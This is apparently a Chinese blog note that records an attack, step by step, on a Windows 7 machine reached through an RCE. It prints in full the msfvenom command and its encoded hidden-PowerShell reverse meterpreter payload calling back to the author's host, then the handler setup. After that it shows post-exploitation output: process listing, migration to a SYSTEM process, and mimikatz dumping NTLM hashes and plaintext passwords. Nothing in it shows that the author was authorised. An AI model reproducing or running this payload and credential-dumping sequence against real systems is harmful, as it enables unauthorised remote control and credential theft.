Metasploit笔记2
遇到个RCE，想上神器MSF，systeminfo看了下是win7，想到用powershell，很方便。
用msfvenom生成ps1后，感觉这格式不太对啊。。看了下帮助，用psh-cmd就可以了。真的方便，记个笔记。
msf > msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=443 LHOST=lu4n.com -f psh-cmd
[*] exec: msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=443 LHOST=lu4n.com -f psh-cmd
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of psh-cmd file: 6739 bytes
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAkAHMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAnAEgANABzAEkAQQBIADgAcwBUAGwAawBDAEEANwBWAFcAYgBXAC8AYQBTAEIARAArAG4ARQByADkARAAxAGEARgBoAEYARQBJAE4AaQBsAE4AUwBLAFIASwB0AHoAWQBHAFQASABHAEMAWQB6AEIAdgBSAFoAVgBqAHIAKwAwAE4AYQA1AHYAWQA2ADQARABUADYAMwArAC8ATQBlAEMARQBYAE4ASwA3AFgAcQBXAHoAawBOAGkAWABlAFgAbgAyAG0AWgBtAGQAZABkAFAAUQBaAGkAUQBLAE8AVwBmADkANQBXAGEATQBtAHQAegAzADkAKwArAE8AQgBsAFoAcwBCAFIAeABmAGkAcgBTAFcAUABQAEsAYgA2AG4AcABvAFYAYgBtAFMATwB6AHUANwBFAEEAbABDADkAMQAyAHIAYwBuAFEARQBZAHEAVwA3AEsAOABaADkANQB2AGcANQBXAHEAMQBhAFUAVwBDAFIAYwBIAEYANQBLAGEAZAB4AGoARQBPADIAbQA5AGMANgBtAEsARQBrAHcAYwBFAHQASgBUAGoAaABLADkAeQBmADMATgBqAEgATQBUADYANQB2AHIAMwBEAE4AdQBPACsAYwA2AFYAdgB0AFEANgBOAGIAaQAyADYARgA4AHQAawB5AC8AWQB4AGQANABKAEMASgA5AC8AcgBSADcAYQBWAHcANgBzAFoASwAwAG8AWQBYAC8ANwA2AHQAVgB5AFoAbgA5AFEAWABOAGUAVQArAHQAVwBqAEMAbAA0ADAAcwBZAFQAaQBvAE8AWgBTAFcASwA5AHkAUABTAHUANQB3AG0ASwAwAHcAWAA5AGEASQBIAFUAZABKADUATABMAGEAbQBJAFEAZgBUADIAdQBqAE0ATABGAGMAZgBBAFgAVwBIAHIAQwBHAG0AUgA4ADUAUwBiAGsAQwBoADQAQgBmAGoARgBrAGEAaAAxAHgAKwBuAEYAeAAvAHQAOAB1AFgAWQBUAGkASQBJAHgAcwA1AFQAbwB3AFQARQBLADYAcAA0AFUATwAwAHgASAB3AHAAVABDAG0AdABjAG4ALwB3ADgANwAzAHoAbQB6AFIAawBKAE0AQwB3AHoAMwBBAGMAcgBRAHcAYwBQAHgAQQBiAEoANwBXAHUARgBUAG8AVQAzADIAQgAzAHcAVgAvAGgAZABYAEgAbQBYADEAWABpAEQANQBWAEEAYQBzAEQAaQBTAGgAVwBDADgAaABxAGwARgBqAGsAcAB4AFQAdgBGAGMAdQBVADEAegBzAE0ANABWAHUARAA3AFcAeQB5AEIAaABSAC8AdgAzADcAMQAvADUAeABhAHAAdwBCAHoANgA1AFQAQQBQAFkASABRADAAMwA0ADQAeABZAE8AVQBIAFUAVQBLADIAYwBwADgANQBzAGMAcABwADQATgBaAGkAVQBaAHoAQgB0AEQAUwBNAFUAMQB4AFoAYwBQAE0AOABCAFAAUABGAGcAaQB2AEYANQAvAFQANgBxAHYAcAB6AEEALwBWAEMARwBtAFQAdgBPAGgAZQBiACsAOQBIADUAagBhAFIATwB2AHMASABXADMASQB5AEkAcwB3AEQAVgBmAFoAUgBLADkAaABnAEYAVABxAGoARgBiAHIANwA1ADgANQBSAHIAWQBaAGUARQB1AEoAVwBGAFYAawBEAHMASQBxAHYANAB0AHkASwBBAFgAWQBxADMASgA2ADQAVgBZAGwAZQBBAGsAQwAvAHYATgA3AEQAVAB3AGgAUgA3AEYAcwB0AEoAcgBYAEwAegAxADIAcABLAFEATgBpAFQAcgBwAFEAUwA2AHUAQQBZADIAUgBEAEYAQgBGAEIAQgBnAEMAcwB2AHcAZQB6AGkAeABKAGYAVgBVAE0ATQBCAE0ATABhAGIAbAAvAE4AdwBRAEMANwBqAFEAbgBxAGYAdgAxAG4AaABQAFoAKwBEAFUARgBtAG0AVgBwAEoAVQB1AFUARQBLAHgAVwBSAFgATwBRAE4AYgBGAEQAdABWAEQAbwBVAEoAMgBXACsAaABsAEUAWABiAFkAZgBrAFoAcgBwAFoAUwBSAG0AdwByAFkAWQBXADUAUgBlAFUARgBtAFgAdQBuAGMAaABRAG0ATABFADUAdABpAEMAUQBRAE0ARABSAFcAMgBDAFkAVwB6AGYAbQBvAGMAbAAzAGkAWQBDAGsAegBpAEYAYwA0AEwANwAvAEoAaABtAHgAUgBTAGsASQBQAEwARAAxAEEATgBHAEEAbABaADgARgBnAGUAWAA3AEUAZwBIAE8AWABDADUAVwBhAGcAWgBrAGEAcgBDAGcATwBRAEcAaABiADIAMgAxAHEAZQBWAEQASgArADQATABZAFoAcABUAGwAWQBhAGYAOABKAHMANABpADcAWABjADUAbgB0AE4AUwA4AEgARwBBAEUAbQBKAHQAMABJAGgAVgBPAFoAUABFAEQATwA2AEoAbgBPAEwARAA3AFAAcABOAE0AQQBkAFgAeABUAE0AcwBPAGMAYgA3AEcAUABGAEYASQBjADIAbABqAE8AWABwAFgAOABMAFQAOQBxAGYAcgB2AEQAQQBLAHQAcgBiAGMAeABBAHgANABhAGMAZABSAEkARgBrAEoAUABtAHMAWQBMAEEAYgBXACsAQQArAEMAUQBsAHEAZgBCAHEAMwBvAEUAYwBHAG4AdABHADkAMABVAHoASgBHADUAawB6AFYAbgBCADQAMQBWAEcAWgBNAEYAZABJAGYAKwBiADUASwA2AHEAbwBIADgAMgB5AGsAZQBBAE0AbQByAHIANABNAGgAOQAyAGUAMABlAHEAaQB1AEwAWAB4AFgAYQBRAG0AcQB0AEsAVgBNAHIAMAB1AEkAYgB0AEwAegBzADIAZQBOAEIAcQBCAEgAcABIADcAKwB0ADEARwBSAFkANABVAGUAQgBOAHYASwBxAC8AVgBnAFQAOQBSAHcAWgBIAGMAOQAxAFEAUAAvAGkAWABWAHQAeQBWAHgASgBuAHEAUwAyAEoAYgA3AGgAdQBRAHIAUgBFAFMAZQBvAFgAZgAxAFIAbgAyAG0AQwBrADAAcQBrAFUAZABEAE4AVgBCADMALwBPAFQAdgB5AFkALwBTAGEASABRAG4AbQB5AEcANgAwAG4AcgBJAGIAMQA4ADcANwBmAHAAcABlADYAdQAvAHoAUABWAG4AeQAwADYALwBwAFcAegBuAGQAagA3AFgAcAA0AGwAQwBGAFAAQwBqAHQASwBlADYANgBlAE8AeAB1AFoATABHAFMAbgB1AG0AbQB5AHYAVgBPADEANQA3AHUAdABrAFgARwBtADEAZgBnAG4AVwBWAGIAUABvAHIAUQA0AEMAdgBYAHUAOAA5AGgATQA2AGoAUgBwAHUAUABHAHMARABWAHoAVgBtAFAANABKAG4AcQA0AGMAeABEAE8AawBMAEcATgBLAFQARwA3AFYAcABHAHEASABNACsAMgA2AFQAbgBkAGEAVQA5AGcAcgBYAGwAVQBBADAAMwArAHUAMQBLAGMANwBKAHAAVgA3AGcAdwBOAFkASgBYAEUAZABJAFYAaABOAG8AVQB5AGoAVgBBADEAcgBvAGwAMQBNAGQAUgBXAHoAYwAvADYAUwBOAEYAMwBHAFEAagBjAGIATgBXADcAbwBTADEAUQBuAHIAcgA1AGYANQAvADEARABrADcAOAB3AFMAMwBNAFIAQgBNAFEAdwAyADcAbABpADgAQgAzAHEAegBYAFcASgBMAGUATQBlAHcARgBsAGkAbABPAFgAYwBIAE0AKwBaAE8AWABvAGYAQQBZAFQAdQBoAFoAVAA5AHQAeQBDAHUAZgBSAFEAWQBmAGsAbgBGAG4AZQBEAGUAagB0AGQAQgBBAEwAMQBZAGsAZwBtAEoANwBnAEkAWgBlAGEAcQB0AGYAVQB2AFUAawBVAG4AbABwAEwAcwBEADMAMgBFAEMAQwBFAE0AMABLAHMAMwBaADYAcQAyAFkAQwBWAGsAdQBYAG8AZQBDAEwAVQBSADQAQgBIAEQASABvAGIATQBjAGMAYQA5AEoAcABnADcAMwBUADUAaABrADMARABCADIANgBkAG0AWQBXAGsASABJAGMAMAA3AGsAUgBvAHYATwB5AGMAeQBWAGwAegBvAE0ARQA1AHoARAByAFkARABNADEAMABPAE8ANgBDAFQAYwBDAGMATABwAHMANQB6AFIARABmAGwAaQBHAEgASABVAE8AZABuAEQAcQAzAE4ANQBKAHcANwBFAHcAdABUADUAbwBaAHQAaQBzADMAKwAyAE4AaQBQAGcAagBtAGgANwB3AFUAbwBCAFoASwAwAGYAMQBTAGMAVgAyAFYAWgBoAGQAYQBlAHAARABqAFAAMgB0AHMAbQBoAFUAbgB2AGsAVQBoADkANgBGAGwARgBaAGQAUgBPADQAcgBiACsANwBZAHoAaQBFAGkAdQB3AGYAUABGAFMAMgBTAEoANAB4AEIAVABhAE4AMwBRADMASQB0AEsAUgBwAFIARwBkAHQANABHAHQAegAwAEsAVwB2AEMAdQBNAFMANwBnAFEAaAByAEIAOABPAFAAcABtADYATQBLADkAeQBSAFkAZQBlADYAUAB4AGQATABsADUAUQB5AEEAdwBwADIAdwBLADkAZABhAEgANABjAGUAOAA2AHYAaQA1AHEATQBvAFEAbwBNAFQATgB3ADAAUgBqAHYAegByAHgANQBPAGoAVgBjAGIAdgBqAFYAWAB6AEYAdgBtAEMAcQBXAGMALwBkAE8AdQBuAGsAdAA4AFkAcABRAGgAeQBNAGUAdwBrADAAZgAvAE8ANAAvADYANgA4AHUASABQACsAVABjAGUAbgA5AGYAKwBZAGYAZQBYAHUAQgBXAHIATAB6AGwANAB0AGYAMQB5ADQAVAAvAFIALwBUAHMAcwBqAEMAMwBDAFEATgBpAEEAaQA1AGYAaQAzAGEAdgBnAGIAVABMADIAKwBYAFAAdwBxAEMAbwBpAEIAZgBuAGgANwByAC8AOABXAFgAdQBkAHMAcABNAHIAZQBHAC8AOQBCAFQAdQA4AE0AKwBaAFEAQwB3AEEAQQAnACcAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=msf > use multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST lu4n.com
LHOST => lu4n.com
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > run
[*] Started reverse TCP handler on 103.27.187.212:443
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (103.27.187.212:443 -> 1.1.1.1:27185) at 2017-06-24 17:12:16 +0800
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.107 - Meterpreter session 1 closed. Reason: User exit
msf exploit(handler) > run
[*] Started reverse TCP handler on 103.27.187.212:443
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (103.27.187.212:443 -> 2.2.2.2:63796) at 2017-06-24 17:13:12 +0800
meterpreter > sysinfo
Computer : JDE920-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 4
Meterpreter : x64/windows
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
256 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
272 476 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe
332 320 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
380 372 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
388 320 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
416 372 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
476 388 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
484 388 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe
488 476 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\svchost.exe
492 388 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsm.exe
588 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe
652 476 VBoxService.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\VBoxService.exe
664 1768 cmd.exe x64 1 JDE920-PC\JDE920 C:\Windows\system32\cmd.exe
716 476 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\svchost.exe
808 476 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
840 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
868 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe
1132 476 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1184 476 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe
1260 476 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
1308 476 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe
1348 476 FoxitConnectedPDFService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files (x86)\Foxit Software\Foxit Reader\FoxitConnectedPDFService.exe
1428 380 conhost.exe x64 1 JDE920-PC\JDE920 C:\Windows\system32\conhost.exe
1460 1768 VBoxTray.exe x64 1 JDE920-PC\JDE920 C:\Windows\System32\VBoxTray.exe
1464 1576 opmn.exe x64 1 JDE920-PC\JDE920 C:\Oracle\Middleware\OVR_HOME\Oracle_BI1\opmn\bin\opmn.exe
1572 1768 cmd.exe x64 1 JDE920-PC\JDE920 C:\Windows\System32\cmd.exe
1576 2024 opmn.exe x64 1 JDE920-PC\JDE920 C:\Oracle\Middleware\OVR_HOME\Oracle_BI1\opmn\bin\opmn.exe
1580 476 TNSLSNR.EXE x64 0 JDE920-PC\920JDE C:\Oracle\E1Local\BIN\TNSLSNR.exe
1656 380 conhost.exe x64 1 JDE920-PC\JDE920 C:\Windows\system32\conhost.exe
1716 840 dwm.exe x64 1 JDE920-PC\JDE920 C:\Windows\system32\Dwm.exe
1732 476 taskhost.exe x64 1 JDE920-PC\JDE920 C:\Windows\system32\taskhost.exe
1768 1704 explorer.exe x64 1 JDE920-PC\JDE920 C:\Windows\Explorer.EXE
1876 476 oracle.exe x64 0 JDE920-PC\920JDE c:\oracle\e1local\bin\ORACLE.EXE
1940 476 oravssw.exe x64 0 JDE920-PC\920JDE c:\oracle\e1local\bin\OraVSSW.exe
2160 476 wmpnetwk.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Program Files\Windows Media Player\wmpnetwk.exe
2176 1572 java.exe x64 1 JDE920-PC\JDE920 C:\Oracle\MIDDLE~1\OVR_HOME\ORACLE~2\jdk\bin\java.exe
2676 476 ducservice.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files (x86)\No-IP\ducservice.exe
2792 476 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\SearchIndexer.exe
3012 476 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\svchost.exe
3136 1464 sawserver.exe x64 1 JDE920-PC\JDE920 C:\Oracle\Middleware\OVR_HOME\Oracle_BI1\bifoundation\web\bin\sawserver.exe
3144 1464 java.exe x64 1 JDE920-PC\JDE920 C:\Oracle\Middleware\OVR_HOME\Oracle_BI1\jdk\bin\java.exe
3152 1464 nqsserver.exe x64 1 JDE920-PC\JDE920 C:\Oracle\Middleware\OVR_HOME\Oracle_BI1\bifoundation\server\bin\nqsserver.exe
3164 1464 nqscheduler.exe x64 1 JDE920-PC\JDE920 C:\Oracle\Middleware\OVR_HOME\Oracle_BI1\bifoundation\server\bin\nqscheduler.exe
3180 1464 nqsclustercontroller.exe x64 1 JDE920-PC\JDE920 C:\Oracle\Middleware\OVR_HOME\Oracle_BI1\bifoundation\server\bin\nqsclustercontroller.exe
3824 6196 java.exe x86 1 JDE920-PC\JDE920 C:\PROGRA~2\Java\JDK17~1.0_8\bin\java.exe
4288 4492 LaunchJVM.exe x86 1 JDE920-PC\JDE920 C:\JDEdwards\E920\system\bin32\LaunchJVM.exe
4348 5764 fenix.exe x86 1 JDE920-PC\JDE920 C:\ProgramData\Fenix\fenix.exe
4492 1768 activConsole.exe x86 1 JDE920-PC\JDE920 C:\JDEdwards\E920\system\bin32\activConsole.exe
4668 4492 iexplore.exe x86 1 JDE920-PC\JDE920 C:\Program Files (x86)\Internet Explorer\iexplore.exe
5104 4668 iexplore.exe x86 1 JDE920-PC\JDE920 C:\Program Files (x86)\Internet Explorer\iexplore.exe
5348 380 conhost.exe x64 1 JDE920-PC\JDE920 C:\Windows\system32\conhost.exe
5436 2176 powershell.exe x64 1 JDE920-PC\JDE920 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
5736 4572 iexplore.exe x86 1 JDE920-PC\JDE920 C:\Program Files (x86)\Internet Explorer\iexplore.exe
5764 1768 fenix.exe x86 1 JDE920-PC\JDE920 C:\ProgramData\Fenix\fenix.exe
6160 380 conhost.exe x64 1 JDE920-PC\JDE920 C:\Windows\system32\conhost.exe
6196 6204 cmd.exe x86 1 JDE920-PC\JDE920 C:\Windows\SysWOW64\cmd.exe
6220 3824 cmd.exe x86 1 JDE920-PC\JDE920 C:\Windows\SysWOW64\cmd.exe
6528 4492 jdenet_n.exe x86 1 JDE920-PC\JDE920 C:\JDEdwards\E920\system\bin32\jdenet_n.exe
7036 5436 powershell.exe x64 1 JDE920-PC\JDE920 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
7060 6220 java.exe x86 1 JDE920-PC\JDE920 C:\PROGRA~2\Java\JDK17~1.0_8\bin\java.exe
7140 380 conhost.exe x64 1 JDE920-PC\JDE920 C:\Windows\system32\conhost.exe
meterpreter > migrate 2792
[*] Migrating from 7036 to 2792...
[*] Migration completed successfully.
meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;102261 NTLM JDE920-PC 920JDE lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
0;98726 NTLM JDE920-PC 920JDE lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
0;92043 NTLM JDE920-PC JDE920 lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
0;86291 NTLM JDE920-PC 920JDE lm{ 44efce164ab921caaad3b435b51404ee }, ntlm{ 32ed87bdb5fdc5e9cba88547376818d4 }
0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO)
0;996 Negotiate WORKGROUP JDE920-PC$ n.s. (Credentials KO)
0;24337 NTLM n.s. (Credentials KO)
0;999 NTLM WORKGROUP JDE920-PC$ n.s. (Credentials KO)
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP JDE920-PC$
0;24337 NTLM
0;999 NTLM WORKGROUP JDE920-PC$
0;102261 NTLM JDE920-PC 920JDE 123456
0;98726 NTLM JDE920-PC 920JDE 123456
0;92043 NTLM JDE920-PC JDE920 123456
0;86291 NTLM JDE920-PC 920JDE 123456
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) >
